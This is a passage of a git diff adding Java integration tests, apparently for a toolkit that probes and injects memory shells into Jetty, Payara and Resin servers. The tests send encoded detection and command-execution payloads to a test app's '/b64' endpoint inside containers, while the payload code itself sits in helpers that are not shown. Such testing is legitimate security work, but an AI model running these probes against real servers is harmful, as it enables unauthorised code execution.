"/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.6.0_45|50", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.JETTY, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_6); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_6); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty81ContainerTest.java new file mode 100644 index 00000000..d35f1670 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty81ContainerTest.java @@ -0,0 +1,78 @@ +package com.reajason.javaweb.integration.probe.jetty; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.probe.payload.response.JettyWriter; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import okhttp3.*; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.anyOf; +import static org.hamcrest.CoreMatchers.containsString; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Slf4j +@Testcontainers +public class Jetty81ContainerTest { + public static final String imageName = "reajason/jetty:8.1-jdk7"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.7.0_17|51", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.JETTY, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_7); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_7); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty92ContainerTest.java new file mode 100644 index 00000000..c1b51c97 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty92ContainerTest.java @@ -0,0 +1,79 @@ +package com.reajason.javaweb.integration.probe.jetty; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.probe.payload.response.JettyWriter; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import okhttp3.*; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static org.hamcrest.CoreMatchers.anyOf; +import static org.hamcrest.CoreMatchers.containsString; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Slf4j +@Testcontainers +public class Jetty92ContainerTest { + + public static final String imageName = "jetty:9.2-jre7"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JRE|1.7.0_221|51", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.JETTY, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_7); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_7); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty93ContainerTest.java new file mode 100644 index 00000000..ea5d9a8e --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty93ContainerTest.java @@ -0,0 +1,78 @@ +package com.reajason.javaweb.integration.probe.jetty; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.probe.payload.response.JettyWriter; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import okhttp3.*; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.anyOf; +import static org.hamcrest.CoreMatchers.containsString; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Slf4j +@Testcontainers +public class Jetty93ContainerTest { + public static final String imageName = "reajason/jetty:9.3"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.8.0_342|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.JETTY, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_8); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_8); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty94ContainerTest.java new file mode 100644 index 00000000..7489a123 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty94ContainerTest.java @@ -0,0 +1,78 @@ +package com.reajason.javaweb.integration.probe.jetty; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.probe.payload.response.JettyWriter; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import okhttp3.*; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.anyOf; +import static org.hamcrest.CoreMatchers.containsString; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Slf4j +@Testcontainers +public class Jetty94ContainerTest { + public static final String imageName = "jetty:9.4-jre8"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JRE|1.8.0_442|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.JETTY, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_8); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_8); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java new file mode 100644 index 00000000..b3966bf2 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java @@ -0,0 +1,80 @@ +package com.reajason.javaweb.integration.probe.payara; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Slf4j +@Testcontainers +public class Payara5201ContainerTest { + public static final String imageName = "reajason/payara:5.201"; + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) + .withExposedPorts(8080); + + @AfterAll + public static void tearDown() { + System.out.println(container.getLogs()); + } + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.8.0_151|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.GLASSFISH, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java new file mode 100644 index 00000000..28181e6b --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java @@ -0,0 +1,74 @@ +package com.reajason.javaweb.integration.probe.payara; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Slf4j +@Testcontainers +public class Payara520225ContainerTest { + public static final String imageName = "reajason/payara:5.2022.5"; + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.8.0_432|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.GLASSFISH, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java new file mode 100644 index 00000000..85b50d90 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java @@ -0,0 +1,75 @@ +package com.reajason.javaweb.integration.probe.payara; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Slf4j +@Testcontainers +public class Payara620222ContainerTest { + public static final String imageName = "reajason/payara:6.2022.2-jdk11"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/usr/local/payara6/glassfish/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|11.0.25|55", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.GLASSFISH, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V11); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V11); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin3116ContainerTest.java new file mode 100644 index 00000000..9349682a --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin3116ContainerTest.java @@ -0,0 +1,74 @@ +package com.reajason.javaweb.integration.probe.resin; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Slf4j +@Testcontainers +public class Resin3116ContainerTest { + public static final String imageName = "reajason/resin:3.1.16"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.8.0_342|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.RESIN, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.RESIN, Opcodes.V1_8); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.RESIN, Opcodes.V1_8); + } +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin318ContainerTest.java new file mode 100644 index 00000000..a17669c8 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin318ContainerTest.java @@ -0,0 +1,74 @@ +package com.reajason.javaweb.integration.probe.resin; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Slf4j +@Testcontainers +public class Resin318ContainerTest { + public static final String imageName = "reajason/resin:3.1.8-jdk7"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.7.0_17|51", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.RESIN, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.RESIN, Opcodes.V1_7); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.RESIN, Opcodes.V1_7); + } +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4058ContainerTest.java new file mode 100644 index 00000000..1b450932 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4058ContainerTest.java @@ -0,0 +1,74 @@ +package com.reajason.javaweb.integration.probe.resin; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Slf4j +@Testcontainers +public class Resin4058ContainerTest { + public static final String imageName = "reajason/resin:4.0.58"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.8.0_342|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.RESIN, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.RESIN, Opcodes.V1_8); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.RESIN, Opcodes.V1_8); + } +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4067ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4067ContainerTest.java new file mode 100644 index 00000000..101fdd04 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4067ContainerTest.java @@ -0,0 +1,73 @@ +package com.reajason.javaweb.integration.probe.resin; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Slf4j +@Testcontainers +public class Resin4067ContainerTest { + public static final String imageName = "reajason/resin:4.0.67-jdk11"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|11.0.16|55", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.RESIN, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.RESIN, Opcodes.V11); + } + + @Test + @SneakyThrows + void 